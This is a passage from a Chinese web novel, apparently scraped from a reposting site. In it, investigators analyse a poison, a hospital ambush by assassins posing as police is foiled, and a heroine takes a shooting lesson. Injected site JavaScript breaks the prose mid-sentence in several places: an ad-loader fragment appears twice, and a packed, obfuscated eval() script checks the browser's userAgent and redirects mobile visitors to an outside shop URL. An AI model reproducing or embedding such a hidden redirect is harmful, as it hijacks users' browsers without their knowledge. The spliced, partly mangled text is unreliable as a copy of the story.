我醒来的时候已经是三天之后。我身上也和姐姐一样,都是消毒水味和车子的味道。 我也和她一样,去了很远很远的地方看病。 我的小病好了,可姐姐还没治好回家。】 【一个月了,姐姐还没回来,我想看看她,但是妈妈爸爸说专门的治疗室里不能通网络,电话视频都不能打。 姐姐,我好想你。】 燕逸岫没再往后翻,因为她看过数十遍,后面写了什么内容已经烙在脑海里了。 有关姐姐的内容到此为止。 往后的部分,日记内容都没有被涂抹掉。 因为昆隐棋再也没有提起姐姐,仿佛从来没有这个人存在。 只有长大后写的那张藏在风铃里的纸条表明昆隐棋还记得自己的姐姐,但书写时的情绪已变,从亲昵爱护到愧疚和郁结。 乔琅调了以往A省的所有监控,通过替换监控法进行反推,成功找出了昆隐棋的几次秘密行踪。 但自从两三个月前左右就再也没能发现昆隐棋身影替换的监控了,这和她叛逃组织的时间大致吻合。 没有反派的帮忙,她是如何做到完全隐藏自己的? 关于日月的线索也断了,要么消失在反派删除掉的监控里,要么是结束替换,以真实身份消失在人群中,彻底失去踪迹。 以往的内容查不到更多信息,只能寄希望于今后日月再次出现。 廖怀霖先前专门设置了一个程序用来对付替换监控的能力,黑客程序链接系统后将会开启世界全范围监控的破解和跟踪复制检测。 一旦对比到相同身影出现,系统就会发出警报,将结果图像实时传给乔琅辨识,以最高效率持续追踪,不容易跟丢。 但反派似乎很少派日月外出执行任务,这几天都没有新的动静。 她们只能耐心等下去。 廖怀霖啃着面包走进会议厅,连接监控的系统分屏幕寸步不离跟在她身后飘着。 “嗯?你还是去偷来了?大队长不是说有风险需要谨慎考虑吗?” 廖怀霖看到玩具有些诧异,走到谭誉道身后和燕逸岫一起查看分析结果报告。 “时间不等人啊。”谭誉道无奈摇头。 “平常石见真三餐在家吃,石见微如今已经退休,基本都待在家里教孙女,和女儿一起打理家事,出门也不会太久。” “今天难得她们三人一起出门玩,晚上才回家,这么好的时机错过了可就不知道什么时候才能再遇上了。” “那倒也是,”廖怀霖盘算着接下来往哪个方向查,边说道,“正好,我昨晚终于发现了一处可能对得上的关联。” 她打开屏幕展示两条陈年信息。 34年前的12月,年纪轻轻就成为顶尖权威的天才医生石见微和其她专家受邀一同飞往国外参加为期一周的世界医学研讨会。 也是三十几年前,意气风发的科技界新星昆黎临作为专家被派遣到国外进行指导交流,三年来在各个国家来回飞,行踪不定,很难一处处查明。 廖怀霖好不容易从茫茫信息库中拼凑出几条可以进行对比,最后注意到一个微妙的时间点。 12月12日,昆黎临乘坐的飞机出现故障,被迫中途降落在X国国际机场,她只能从这儿转机再次出发前往目的地。 也在那时候,石见微一行人到达了X国国际机场。 两个人的人生时间线,在大雪皑皑的国际机场重合了大概半小时。 年代太过久远,没有留存的监控记录能让大家看到那时的场景了解内幕。 当年两人各自在机场做了什么、是否遇见了谁、又聊了什么,只有她们自己清楚。 半小时,说短不短说长也不长,对于两个天才而言,交流或许不需要花费太多时间和口舌。 在此之前在此之后,就完全查不到任何两人可能相识接触的线索了。 后来昆黎临完成任务回祖国定居,结婚,于第一医院生下昆隐棋。 而那会儿石见微刚任职第一医院院长,忙于处理前院长捅的篓子和留下的烂摊子,焦头烂额连轴转,众人很难和她见上一面。 这一两年的时间线,乔琅和廖怀霖查了个遍也没发现两人暗中有交集,连面都没碰上。 “但昆隐棋日记里提到她和姐姐生病看病,”廖怀霖百思不得其解,“我总觉得和石见微有关。” “接下来调查方向该转向石见微了,看看昆隐棋目前还有没有和她暗中联系。”谭誉道继续扫描剩余拼图,录入图像数据。 燕逸岫低头沉思:“半个月了,局长那边还是没法联系上昆隐棋家人吗?” 谭誉道叹气:“一点动静都没有。” “嗯……”燕逸岫重新读一遍廖怀霖搜索出的新闻,“当年和石见微一起飞去X国的专家们都还健在吗?” 姜韫正在警局处理自己射杀的炎穆帮成员的线索,还有康珽叶相关案件的收尾工作。 两天前,姜韫趁着康珽叶上完厕所出来洗手的工夫,带唐映清悄悄来到外面的单面镜前指认。 在混着便衣警察的几个弯腰低头洗手的背影中,唐映清一眼就认出了康珽叶,确定那就是她当初看到的身形,只有头发长度不符合。 于是谢舒灵案补齐了目击者的辨认证词。 之后康珽叶在警方带领下来到猎山指认大概的埋尸地点。 于是长达两年的失踪案告破。 康珽叶和警方达成交易,他杀害高中同学的案子将低调开庭审理,警方会派人保护他的家人不受反派报复。 如果反派泄密导致这起案子受到太多关注,警方也会积极处理,至于多积极,要看康珽叶能提供多少有用的信息了。 康珽叶告诉警方,被抓住把柄后,他只好答应帮对方杀人,他接收了对方发来的目标资料和详细犯罪计划后,又收到一份匿名地址送来的快递。 里面是他行动需要的毒药和工具,包括衣服、手套、假发、维修提示单、药物残留清洗液、血腥味消除剂等等。 康珽叶留着快递箱和上面的芯片,搬家也一直带着。 那份犯罪计划他已经删除销毁,但他能一字不差地重新写出来。 因为他之前经常深夜打开阅读,研究对方细心到会注意处理哪些细节。 边读边和自己当初冲动杀人的作案全过程进行对比,找出漏洞,想要弄清楚是哪些方面出了差错导致自己的犯罪被对方发现。 在姜韫的要求下,康珽叶又尽可能还原对方的语气和用词复述两人所有口头和文字交流内容。 犯罪计划书,还有这些录音和文件,与彭嵘、曾琼瑾之前提供的一样,被送到法医语言学专家手中,成为研究反派言语表达习惯特点的素材。 解决完所有扫尾工作,姜韫靠在墙边,远眺窗外绿意舒缓心神。 不一会儿,季渊知握着一份文件从楼上下来,找到姜韫。 有些内容需要一起动手演示和实验更方便探讨,所以她偶尔会和药学专家在警局的实验室里碰头面谈,集中展开研究。 “这是最新的研究结论,晚些我会把完整版整理清楚后传到微系统。” 季渊知将精简版的实验分析报告交给姜韫,上面还有她们几人写写画画的标注。 经过反复试验测算,她们终于成功解析出毒药里的一种未知成分。 原本这只是杀伤力不大的病毒,而当它遇上另一种药物,并经过特定的人为复杂操作,就会融合成一种全新的致命毒素。 而能够催化异化改变其毒性的,正是VK3251,抗癌特效药的主成分。 护民制药研究所暗中购买了大量VK3251,可疑程度不断攀升。 “制出这种毒素所需的VK3251剂量不算小”姜韫浏览报告上统 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 计的数据,眉头越皱越紧,“如果确实是研究院制出来的,那凭她们私底下购买的剂量……” 季渊知严肃地点点头:“足够生产出一批毒药了。” 风从两人中间呼啸穿过,吹得纸哗哗作响,仿佛快要挣脱人的手飞出去。 燕逸岫帮申天诺压好画纸边角,拨开挂到鼻子上的头发,看清她画的画。 “昨晚画的吗?”燕逸岫端详着画,连声赞叹。 申天诺点头,抿着嘴无声笑,一会儿后又小声开口:“想送你,希望姐姐不嫌弃。” “怎么可能嫌弃,我正想着能不能问你要呢,画得这么好,都不好意思认了,我哪有这么神气。” 申天诺画的是燕逸岫从火海里奔来救她们的场景。 红火猎猎烧穿天空,中间的燕逸岫脸上身上都蹭了黑烟,但目光明亮,浑身是不顾一切的气势,如天神下凡。 申天诺揪着被角,声音更低:“就是这样的。” 这几日燕逸岫每天都会空出一段时间去第一医院陪陪申天诺。 申天诺喜欢画画,她说自己以后想从事绘画相关工作。 当谈及案件相关,如果因为心理阴影而开不了口,燕逸岫也会让申天诺试着画出来,代替语言表达。 相似的性情打起交道来让人感到安全舒适,熟悉之后,申天诺明显放松多了,也愿意多开口说说话,会露出柔和的笑,眼睛半弯。 和卫崧一样,她也不假思索答应了诱饵计划,决定自己主动走进可能的危险之中。 目前轮流值守的警员一如往常,没有改变,如果太早撤走保护,就会让反派察觉她们打算拿幸存者引他上钩。 燕逸岫待在医院保护幸存者,以自己的异能例行检查安保措施,同时也是为了游走其中探听有关石见微的信息。 “逸岫姐,”卫崧打开病房门走进来,“我还以为你晚上才来,吃过饭了吗?” “吃了。” 他拉了另一张椅子,坐到燕逸岫身边:“什么画?我能看看吗?” 见申天诺点头,燕逸岫才笑哼哼展开画给他看。 “对对对就是这样!”卫崧刚坐稳就又要站起来,“你救我的时候也是这种眼神,只不过我的位置看不到火。” 卫崧遗憾叹气:“可惜我没有天诺这样的绘画天赋,表达不出来。” “天诺以后肯定能当大画家的,全世界闻名。” 燕逸岫用力点头,小心地把画收好放在一边,等离开的时候再带走。 卫崧骨头伤得不重,所以伤势恢复得比较快。 当他发现燕逸岫来医院会在另一位幸存者病房久留后,他也每天挂着输液管一瘸一拐到这儿来。 起初申天诺戒备沉默,不知道如何应对这个陌生人,但卫崧有种天然的亲和,不刻意的同时又能把社交距离和分寸把握得精准,不让人反感。 所以两人也慢慢熟悉起来。 于是现在就变成三个人窝在病房里。 燕逸岫和卫崧会凑在一起看申天诺画画,一起追她喜欢的动漫和影视剧,听她说些家里和学校的事。 燕逸岫还有别的任务要处理,一般不会待在医院超过半天。 她离开后,卫崧会继续陪着申天诺,直到俞殷把他喊回去换药。 夜里他还会再来一趟,等到她睡熟才回病房。 都是一夜之间失去父母的人,申天诺还小,更难走出阴霾,所以卫崧希望能尽自己的力和燕逸岫一起让她感受到温暖,明白自己不是孤身一人。 姜韫和季渊知正吹着风讨论接下来的调查研究方向时,局长穿过走廊来到她们面前。 “小姜,上头联系我了。” 姜韫立刻站直,准备好听这迟来的答复。 由于关系到国家机密,科研组不能与外界无关人员通话,局长只能将昆隐棋失踪数月疑似被追杀的信息向上报告,一层层传达,希望能了解更多昆隐棋的个人信息好让警方尽快找到她的下落进行保护。 时隔半月,昆隐棋父母的回复终于转述传达下来了。 61. “你要对他做什么?” “她很好,安然无恙,各位不必费心。” “她是成年人,做事自会承担后果,希望你们终止调查,别继续在她身上浪费时间。” “她们知道昆隐棋的下落?”乔琅震惊,反复读着屏幕上的留言,“难道昆隐棋悄悄跑去找她们了?” “没有,昆黎临说是她们感受到的。” “她们与女儿一直有所谓的心灵感应,如果孩子出事,她们就会预感到。” 乔琅泄了气,坐回椅子上嘀咕:“我们现在要谈的是证据和事实,这么玄乎的判断……” “没办法,据说科研工作正进行到最忙碌最紧张的时期,几乎处于全封闭状态,能带上一句话进去已经很不容易了。” “而且她们的意思很明显了,不希望我们继续调查,当然也就不愿意提供多少线索。” 屏幕另一端的姜韫摇摇头:“继续按我们自己的方向节奏查吧,这条线是指望不上了。” “逸岫提到的那几个专家可以查查,说不准当时在场的她们有听到看到什么。” 所有人按照安排继续忙碌,系统大屏上密密麻麻的监控里,无数民众也来来回回奔波,从黑夜到白天,从白天到黑夜。 卫崧靠在申天诺的病床床尾,胳膊支在被角上,正闭着眼打瞌睡,脑袋缓慢地一点一点。 过了一会儿,他忽然惊醒,努力睁大眼皮打架的眼睛,起身走到床头查看。 申天诺已经睡得很熟了,半张脸遮在被子里,侧身蜷成一团。 检测仪上的各项数据也都正常。 卫崧放心下来,蹑手蹑脚离开病房,和外面的警员打了个招呼,就乘电梯上楼,慢吞吞走回自己的病房。 卫崧出去活动时,一般由两位警员跟着人,剩余两位警员留在原地守病房,以防有人潜进去埋伏。 见卫崧回来,两人起身帮他刷开门。 不一会儿俞殷最后来了一趟做检查,更换了输液袋,交代几句后转身离开。 卫崧抬头盯着夜灯,想着各种事,最后迷迷糊糊睡着了。 不知睡了多久,他忽然被一阵短促沉闷的响声惊醒。 他本来就觉浅,在这段时间更是格外敏感,稍有异响就会立刻清醒。 那声音似乎是装了消音器的手枪。 而且离得非常近,就在门外。 卫崧掀开被子悄悄爬起来。 和当时在山里逃命一样,他的心脏跳得飞快,连带着整个人都微微震动起来。 诱饵计划成功了。 卫崧打开“宙”准备报警,联系燕逸岫,这才发现周围的信号已经被完全屏蔽。 这是燕逸岫曾经预料到的情况,如今真的碰上了,卫崧瞬间还是有些慌,但又马上逼自己冷静下来。 他蹑手蹑脚起身开始在病房里寻找可以作为武器防身的东西。 医院不是别处,对工具限制非常严,生怕被病人或其家属拿来攻击,所以能用上的不多。 之前觉得这个可以用那个挺好使,现在真到了这关头,又觉得都不趁手。 外头扭打和开枪的动静更大了,一声声撞在门上,砰砰地响,屋里的人想假装不知情都没办法。 卫崧脑海中预设着接下来可能会发生的事情,握紧可以用上的武器。 如果反派突破外面的保护闯进屋中,他该怎么行动? 又是一道重重砸在门上的声响,接着是杂乱的脚步逐渐远去。 下一刻,房门被打开了。 外面的白灯光照进来,让适应了昏暗环境的卫崧微眯起眼。 一个警员扶在门边,捂着腹部,气息不稳:“你没事吧?快……跟我走。” 卫崧视线落在他握着的手枪上。 “我们正在追凶手……这里已经不安全了,我们马上带你去新的安全屋……” 卫崧站在映进来的白色方块里,撑在床尾栏杆的手紧了紧,随后回答道:“好。” 他发给燕逸岫的信息仍然没有传送出去。 卫崧跟着他走,默默观察钳制着自己胳膊的警察。 他似乎因为失血过多而有些摇晃不稳,重重喘气。 “您还好吗?要不我们先停下来休息休息等支援?其她警察快来了吧?”卫崧试探问道。 “我没事,”警员衣领都被汗浸湿了,咬着牙艰难地支撑着,“保护你们是我的职责,我得把你们安全送走才能放心。” “我扶您吧。”卫崧反手主动扶住他。 两个伤患一起前行,病歪歪的,沉默无言。 前方不远处,另一名警员忽然出现在转角。 “小郑,你没事吧?”他急忙跑过来,边呼叫支援,“你就在这儿休息,我带他去安全屋。” 受伤警员两眼发黑,脸色苍白,自知强撑不了多久,便点点头,如释重负,靠着墙慢慢坐了下来。 “交给你了。” “支援已经来了,你挺住,我……” 他挥挥手打断对方的话:“快去吧……” 于是卫崧在新警员的带领下继续往目的地走,空荡荡的走廊里只有脚步声在回荡。 两人没有交流,越走越快。 越走越快。 “我腿疼,可以慢点吗……”卫崧瞅着时机嘶嘶抽气,虚声问道。 但对方不回答,拽着他继续快步走,似乎是因为马上就要完成任务而不打算装了。 他有枪,卫崧不能轻举妄动,拖着伤腿也逃不了多远。 卫崧便假装走不动了,两手扒住对方胳膊借力,自然而然地按住,让他不方便突袭,心想能拖多久拖多久。 又拐了一个弯后,警员忽然停下脚步。 他们已经走到了不常有人来的杂物间楼层。 卫崧目光平静,注视对方举起了枪。 他也完成了他的任务。 一旦出事,埋伏的警方就会马上严密封锁楼栋,谁都逃不掉。 不知道凶手会不会亲自跳进陷阱,但只要能从这些人身上查到一点线索,指向真凶,他就死而无憾了。 一切都变成慢镜头,卫崧看着那枪口一点点抬起来对准了他自己。 他忽然又有些紧张。 明明已经感受过子弹穿透的痛,但再次面对时还是觉得呼吸不上来。 这次会打进哪里? 心脏?额头? 这时,一道清脆但不刺耳的口哨声打破死寂。 两人都吃了一惊,同时抬起头。 一个鬼影从上方通气管里跳下来,轻飘飘落到了两人前方不远处站稳。 看到那沉静的双眼,卫崧忐忑紧张的情绪顿时平复下来,心跳速率也恢复正常。 口罩遮住她大半张脸,看不清表情,燕逸岫两眼微微弯着,似是在笑,语气却冷硬。 “你要对他做什么?” 假警员见情况不妙,恐怕没法骗过她,于是迅速将枪口转向她,打算先射杀她再解决卫崧。 但那枪刚移到半空中,燕逸岫就将夹在指尖的细长飞镖用力甩了出去。 沉重的飞镖如闪电般划过,精准掷在枪管上,把它脱手打飞出去。 假警员刚想要再动,对方就已经瞬间晃到了他面前,刘海下的黑眼珠泛着幽幽暗光,锁定了击打的位置。 燕逸岫抡起手臂蓄力,挥出一记结实凶猛的俄式大摆拳,带起的迅风把她的短发都吹飞起来。 牙齿磕碰的尖锐咯吱声混在闷哼里,一起响一起消散,听得人头皮发麻。 卫崧吓了一大跳,灵敏地收回胳膊往侧边一闪躲开,拍了拍胸口。 还好躲得快,不然连他也要连带着被一起掀翻出去。 假警员飞出去撞在墙壁,滑下去晕倒在墙角。 燕逸岫大步上前三两下给他拷上手铐,将定位发送给队友,留个活人交给警方。 “跟我走。”燕逸岫抓起卫崧的胳膊,扯着他掉头朝楼下走去。 卫崧听到四面八方楼上楼下都有急匆匆的脚步声,整栋楼已经乱成一团。 “天诺呢?” “她很安全,放心,我已经把她保护起来了。” “其他无辜的病人会不会遭殃?”卫崧难免担心。 他没想到凶手居然这么嚣张,居然选择大张旗鼓地来杀幸存者,在三更半夜惊动了所有人。 在他和燕逸岫等人的预想里,凶手的计划应该是趁着夜深人静悄悄潜入刺杀,更保险,效率更高。 但他却反其道而行,不知道在盘算什么。 “不会有事的,警方做好了周全的准备。” 系统早已布置好一切。 系统及时开启了隔音屏蔽,其她病房里休息的人根本不会察觉到外面发生了什么。 每间病房门都自带智能锁,非医院工作人员和得到通行允许的警察无法入内。 而且系统又额外上了三层锁,只有祂能够解开。 一旦有另一个系统试图破解,它能马上感应得到,就会将位置及时传送给行动组的成员。 目前看来,反派的目标直指卫崧,并不打算牵扯到其她幸存者和不知情的病人。 两人转过两个拐弯,就见五名警员从楼梯上跑下来。 他们看到燕逸岫和卫崧安然无恙,都松了一口气,连忙招呼:“快跟我们来。” 燕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 逸岫却抬起从假警员那儿顺来的手枪,二话不说,连开几枪将她们挨个射杀。 看着她那副完全没有思考就动手的样子,卫崧都蒙了,等她解决完才迟疑问道:“她们都是凶手的人吗?” 燕逸岫点点头,没有多说什么,她移到卫崧没受伤的肩膀那边,拽着他的胳膊继续往前。 不一会儿燕逸岫闻到一股鲜血的味道弥漫开,猛地意识到卫崧的伤还没有好全,这会儿经受剧烈运动,伤口已经又裂开了。 “你还撑得住吗?”燕逸岫放慢脚步,稍稍用力支住他的手肘。 她一直没感受到卫崧的动作有片刻的迟缓和笨重,仿佛没有受到影响,原来是在强撑。 卫崧忍着疼痛摇摇头,神态自若地回道:“没事的,本来就已经快好全了,不会拖你后腿的。” 边说着,他卯足劲大步跟上,挨在燕逸岫身侧。 燕逸岫想了想,抓起他的胳膊绕过背后搭在自己肩上。 “没关系,走不了可以靠在我身上,不会影响我行动。” 但卫崧没有卸力,咬牙自个儿强撑。 不一会儿两人终于来到警方为幸存者准备的安全屋前,守在走廊处的几名警员也映入眼帘。 她们看到卫崧,马上就让出道来,让燕逸岫护送幸存者入内。 燕逸岫浅笑地朝她们点点头,神色自然。 接着在走到中间时,她又出其不意举枪射击,电光火石间解决掉了其中两个人。 剩余的警员都吓了一跳,抬手扶枪做准备,不知道这是怎么一回事。 “是对方伪装的,撕了脸皮就知道了。” 燕逸岫简单地说了一句,手腕贴在门上感应解锁,打开门把卫崧推进去。 安全屋没有窗户,暖黄灯光照亮着里面唯一一张床。 燕逸岫迅速凭五感探知安全屋内的环境,确认没有什么危险后,才将门锁上。 “已经将卫崧带回安全屋。”燕逸岫将情况报告给队友们。 卫崧费力拖着腿走到床边坐下,背对着燕逸岫擦擦额头的冷汗,等伤口的剧痛缓和了些,他才摆好表情若无其事地转回去。 “你怎么知道其中有人是凶手的人?” “易容术不太合格。”燕逸岫笑了笑,随口回答。 她并没有看出什么异样,而是凭气味来判断。 易容所需的仿真面皮不同于自然的人脸,假的东西就有特殊的材料气味。 因此仅凭这一点就能判断出其中有多少人已经被替换成反派方的人了。 说起来这多亏了温簌。 之前送易了容的温簌去地下城潜入炎穆帮时,她就闻到这股仿真皮的特殊气味,顺口和温簌聊了几句,暗中记住这一点。 而且长时间待在医院值守的警员和医生护士身上都会有消毒水的气味和药味,是一种渗入皮肤中快要腌入味的浅淡气息。 替换进来的外人身上多少也会沾染上,但仅仅浮于衣服表面,动一动就容易消散。 很小的区别,但是觉醒异能的燕逸岫能够嗅得出来。 燕逸岫从床底拉出备好的医药箱,翻找包扎的用品。 “把腿上的绷带拆了,我帮你换新的。” 卫崧再怎么装,她也能从他的呼吸里判断出真实情况。 “怎么傻愣愣地杵在那儿,对方都准备开枪了也不跑。” 卫崧把裤腿拉高到膝盖上方,边拆染血的绷带,回答她:“跑不动,也没什么好跑的,成功把对方引出来我就满足了,死了就死了。” “又不是一次性的。” “什么?” 燕逸岫用酒精给自己的手和胳膊消毒,然后拆开干净的新绷带。 “我说,诱饵又不是一次性的,”燕逸岫先把他伤口旁边的血擦干净,“你活着,说不定凶手就会一次次来杀你,越失败越恼火,不得手誓不罢休。” “和他接触越多次,我们能找到的痕迹和破绽也就越多。” 擦完血迹,燕逸岫低下头摆弄难撕的塑料包装。 一低头,原本别在耳后的一撮短发又滑了下来,垂在半空晃晃悠悠。 卫崧闻到一阵很浅的、雪山般的清冽淡香,隐隐约约,莫名地令人镇静,悄然驱散夏日的闷热和遇险的惊慌。 燕逸岫使了劲暴力扯破塑料包装取出棉签,边说道:“你不是一心想被我们利用、想当诱饵引出凶手报仇吗?” 她又抬起头,卫崧直直对上她的目光。 她的眼睛里仿佛有两座雪山,也飘着冰雪的冷冽,沉着不移的平静。 “那就尽量活得久一点吧。” “好吗?” 62. 独属你我的暗号 “所以,我还有用吗?” 燕逸岫顿了片刻,忽然露出一丝笑意。 在她的印象里,这是第二个以有没有用来衡量自己价值的人。 “当然了,”燕逸岫回答,“凶手是冲着你来的,所以你对我们来说还有用。” 分明是有些无情残酷的话,但这正是如今的卫崧想得到的答案,他眼里映着的橘黄灯光更亮了点,旋即也笑了起来。 离得近了,她才发现卫崧瞳色偏浅。燕逸岫很快错开视线,斟酌着继续说。 “可能会有人说什么妈妈拼命救了你,你如果轻易放弃生命,很不值得……” “或者说什么我也是好不容易把你救下来的,你要是随随便便死了,岂不是对不起我?” “这类话其实我也听不进去,如果是我,我只想给家人讨一个公道,只想报仇,自己怎么样无所谓。” 燕逸岫小心翼翼在他伤口涂上药水,连带着声音也下意识放缓:“所以不如这样吧。” “你想想,你活着是为了报仇,抓住凶手是你活下去的支撑,如果没亲眼看见真凶的模样,没能亲眼目睹他落网,是不是很遗憾?” “等这件事彻底结束,你选择什么样的生活,选择哪条路,谁都不能替你决定,也没有什么身份立场去要求你和道德绑架。” “但现在我们有共同的敌人,在他落网之前,我们都尽量好好活着吧?有多少力出多少力,活到能见证他得到惩罚的那一天。” “你不会那么认为吗,”卫崧禁不住好奇,“我刚才确实想过你会那么说,我这条命是你救下的。” 燕逸岫连连摇头:“我可担待不起,你最后是我救下的,但也不等于你的命从此就成了我的。” “你的命永远属于你自己,是你的意识、你的身体,生命就由你掌握,你要怎么走是你自己的事,千万不要有什么负担。” “你如果有负担,那我也会因此有负担。” “就像我刚才说的,你现在的目标是想协助警方抓到反派,那就为了这个目标好好活着,当个合格的诱饵。” 卫崧严肃点头,听进去了。 “那么从今往后,你——”燕逸岫摊开手,示意他自行接话。 卫崧立刻回答:“遇到危险尽量想办法活下来,要亲眼见证凶手被抓,为父母报仇。” 燕逸岫满意地点点头,继续集中注意力处理他的伤口。 她回忆着曾经看过的处理伤口手法,有样学样地涂药,一圈圈缠上绷带打好结。 “会太紧吗?” “不会,刚刚好,谢谢。” 狭小空荡的屋子里,温暖灯光笼罩着两人,在地面拖出两道模糊阴影,其中一块重合叠出更深的黑。 燕逸岫边思考着发生的这一切。 为什么反派要明目张胆地来杀人? 为什么对方系统屏蔽的强度不高?只有普通人的“宙”失灵,我方系统仍然可以正常运作,不受影响。 为什么不选择一见到卫崧就动手,而是兜兜转转拖了好几分钟,特意绕了一圈路,才准备杀他? 她想起不久前秦观秋被埋伏的事情,很快就推测了比较有可能的答案。 今天这一场混乱也是反派为了了解她们的特点和异能而策划的行动。 她们知道反派会来杀人,反派也猜测得出她们知道自己会如何行动,所以他顺势以此为局,打算来个一石二鸟。 杀掉卫崧的同时也能研究她们与敌方正面对抗时表现出的特征。 卫崧是她们的诱饵,同时也在不知情的情况下成了反派的诱饵。 其他人她暂且不知,燕逸岫回忆一遍自己的行动,想弄清楚有没有什么地方容易露出破绽。 帮卫崧包扎了开裂最严重的伤口后,燕逸岫就准备离开了,重回行动队里清理剩下的杀手。 “逸岫姐,多加小心。” “嗯,你千万不要出去,千万不要随便开门,外面的人说是警察也不行。” 燕逸岫很不放心。 虽说凭仿真面皮和医院气味能判断出敌人,但反派本人还是不能轻视,必须谨慎对待。 他有视觉替换异能,不需要易容,至于气味,说不定他也有什么方法蒙混过关。 “就在这等我过来接你,除我之外,谁都别信,如果有突发状况,我会及时赶过来的。” 卫崧又出声拦住她:“万一凶手易容成你的样子怎么办?我们俩得对个暗号吧?” 燕逸岫停下动作思考。 “山。”卫崧目不转睛注视门边的人,轻声说道。 “暗号就对‘山与山与山’,怎么样?” 燕逸岫心想这是什么奇怪的暗号,不过暗号当然越奇怪越好,所以她没有深究,仔细问了是哪几个字后才离开。 外面的形势已经差不多被警方和行动组成员控制住了。 燕逸岫就负责在每层楼到处晃,找找有没有躲藏起来的人,边闻闻特殊的气味。 最后她又在警方人员中揪出了两个易容的敌方成员。 这回没有幸存者在身边需要保护,她可以专心对付他们,尽可能留活口,以便后续审问。 月亮从厚重乌云中探出头,出现在医院窗外。 等机器人拖干净地上的血迹,系统才解除隔音屏障。 医院仍然静悄悄的,仿佛什么都没发生过。 结束后,燕逸岫将申天诺和卫崧从安全屋接走。 申天诺坐在轮椅上,怀里抱着浇过水的盆栽,询问外头都发生了什么。 燕逸岫护送她去警方安排的新病房,一路解答她的疑问。 卫崧没有休息,而是去了一趟重症监护室。 他刚知道第一个带他离开的人确实是我方警察。 那时燕逸岫埋伏到杀手出现,与对方展开缠斗。 她清楚病房前的警员都是自己人,所以就让他们保护卫崧,她则先去追杀手。 但警员没想到,半路出现的熟悉面孔居然是敌方假扮的,他差一点就亲手把卫崧送进黄泉。 他对此感到愧疚,卫崧也因为怀疑他的身份而愧疚。 他刚做完手术不久,需要静养,卫崧只和他聊了两三分钟就离开病房回楼上。 在等电梯时,他远远听到谭誉道还在和姜韫通话,模糊声音钻进他耳中。 “差不多就这些了,还有别的时机可能换人吗?” “警方那边已经核实了所有人的身份,确定剩下的警员都是都没有被替换的。” 卫崧留意到其中的字眼,缓慢皱起眉,心生疑窦,连电梯到了都没反应。 警方……那边? 她们不就是警方吗? 卫崧目光转了几圈,回忆着自己和燕逸岫这些人的种种接触,心中逐渐浮起一个大胆的猜测。 后续的扫尾工作和审问活口,都花费了不少时间。 那些人守口如瓶,身上没有特殊标记,没有纹身,查出来的身份信息也都没有什么异样。 警方暂时不清楚他们是如何和反派扯上关系的。 燕逸岫算算时间,寻思该腾出时间去地下城一趟了。 前两天虞瓷说动阿连教她练枪法,她得主动联系对方讨教才行。 太迫切的接近可能显得可疑,隔得久一点说不定对方又对她不感兴趣了。 “明天?没问题啊,我都有空的,随时可以过来找我,你让阿七带你来南区的射击场,她认路。” 但燕逸岫还是和她约好了确定的时间。 在当天,她又提前一个小时进入地下城和虞瓷碰头商量,准备好后才来到阿连工作的射击场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954636|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这把枪好,适合新手使。” 燕逸岫好奇地握起枪翻来覆去端详。 阿连赶紧把她的手按下去,又气又想笑:“愣头青,枪口别对着自己,走火了可不是白白冤死?” 燕逸岫哦哦几声,尴尬地傻笑。 替她选好了枪,阿连就站到她身旁手把手教学,讲得格外仔细认真。 燕逸岫一边应着,瞄准靶子外的墙壁开枪。 “厉害啊,”虞瓷在后面紧接着拍手叫好,“第一次开枪就能接近靶子了,不错不错,成为神枪手指日可待。” 燕逸岫听得快绷不住了。 这会不会有点演过头了? 阿连哈哈大笑:“阿七,你要是去教小孩读书,大家肯定都喜欢你,这叫什么来着,快乐教育?鼓励式教育?” “不好吗?”虞瓷理直气壮,“就是要多鼓励才会进步。” “肯定是从你妈妈那儿学来的吧,家长怎么教,小孩就什么样。” 听到关键字眼,燕逸岫的心瞬间吊了起来。 她保持着毫不在意的表情,低头专心摆弄枪,假装没查过虞瓷底细,什么都不知道。 虞瓷那丢下孩子失踪多年的父母,是能提的吗? 关于这一部分,廖怀霖查了许久也没再查到什么新线索,只能确定当年她的父母是故意抛下她的。 因为缺钱,因为养不起孩子,因为觉得老的小的都是费钱的累赘,所以那两人把虞世青的积蓄偷偷转走不少,就此消失不见。 这害得虞世青和虞瓷差点就要被赶去地下城,最后勉勉强强在最边缘的荒凉地段定居下来。 听阿连提到父母,虞瓷笑眯眯的,没见神色有什么变化:“哎,算是吧。” 这个话题就此轻飘飘揭过。 阿连只是随口一说,没放心上,收回注意力继续教枪法,燕逸岫也认真听着。 一轮练习结束后,只有两枚子弹“碰巧”打中了三四环左右。 燕逸岫低头叹气,一脸沮丧,整个人成了霜打茄子。 阿连拍拍她的背打气:“很好了,阿七没说笑,确实挺厉害的了,这靶子比一般训练馆的远,新手本来就更难瞄准。” 正装着子弹准备第二轮练习时,明姐打开内场门走向三人,脚步匆匆,脸上表情不太好看。 “喂喂喂,你们听说阿彬的事了吗?” “什么事?” “阿彬死了。” “什么?”虞瓷和阿连异口同声,原本散漫的神色换成震惊。 燕逸岫也感到诧异。 上次听到这个名字时,还说只是头痛感冒,怎么几天过去人突然没了? 明姐纠结片刻,尽量委婉说道:“就一两小时前的事,我听仁姐她们说,阿彬死得很突然。” “原本好好的,活蹦乱跳,突然就倒地暴毙,法医来看了,跟阿彬家人说死因是脑血管爆裂。” “满脑子都是血,都从鼻子耳朵里流出来了。” 听到这些,虞瓷顿时惊愣,喃喃出声:“……什么?” “真是奇怪,阿彬怎么会突然脑血管破裂,平时见她很健康啊。” “是啊,完全没想到……” 那两人还在滔滔不绝,这边已经安静下来了。 虞瓷把枪放回桌面,顺势低头以手压在桌上支撑身体,凝固不动,长长高马尾垂下来,遮住她的脸色。 